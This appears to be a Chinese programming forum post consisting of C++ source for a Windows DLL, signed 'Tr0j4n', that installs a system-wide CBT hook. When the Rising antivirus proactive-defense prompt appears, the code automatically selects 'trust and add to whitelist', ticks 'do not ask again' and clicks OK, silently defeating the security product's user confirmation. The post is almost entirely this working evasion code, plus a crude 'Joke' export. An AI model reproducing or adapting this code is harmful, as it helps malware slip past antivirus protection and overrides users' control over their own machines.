15,979
社区成员
发帖
与我相关
我的任务
分享
/*
code by:Tr0j4n
Blog:http://hi.baidu.com/tr0j4n
*/
#include <windows.h>
#pragma data_seg("Shared")
HHOOK hHook=NULL;
#pragma data_seg()
#pragma comment(linker, "/section:Shared,rws")
HINSTANCE insSelf = NULL;
UINT_PTR iTimerID ;
LRESULT CALLBACK CBTProc( int nCode,
WPARAM wParam,
LPARAM lParam
)
{
if(nCode<0)
return CallNextHookEx(hHook,nCode,wParam,lParam);
if(nCode== HCBT_ACTIVATE)
{
HWND hWnd=(HWND)wParam;
LPTSTR lpName="",lpTarget="瑞星智能主动防御";
GetWindowText(hWnd,lpName,50);
if(strcmp(lpName,lpTarget)==0)
{
HWND hRadio,hCheck,hButton;
hRadio=::FindWindowEx(hWnd,NULL,"Button",
"#*H14;C0;S100;*#信任 #*H12;C6579300;S000;*# 信任该程序并将其添加到\"自定义白名单\"中");
hButton=::FindWindowEx(hWnd,NULL,"Button","确 定");
hCheck=::FindWindowEx(hWnd,NULL,"Button",
"重启前使用相同的处理方式,不再提示。");
::SendMessage(hRadio,BM_SETCHECK,1,0);
::SendMessage(hCheck,BM_SETCHECK,1,0);
::SendMessage(hButton,BM_CLICK,0,0);
}
//::SendMessage(hButton,WM_LBUTTONDOWN,0,0);
//::SendMessage(hButton,WM_LBUTTONUP,0,0);
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
extern "C" __declspec(dllexport) VOID Joke()
{
MessageBox(NULL,"FUCK","Joke",MB_OK);
}
extern "C" __declspec(dllexport) VOID HookStart()
{
hHook=SetWindowsHookEx(WH_CBT,CBTProc,insSelf,NULL);
}
extern "C" __declspec(dllexport) VOID HookEnd()
{
if(hHook!=NULL)
{
UnhookWindowsHookEx(hHook);
hHook=NULL;
}
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
insSelf=(HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
HookEnd();
break;
}
return TRUE;
}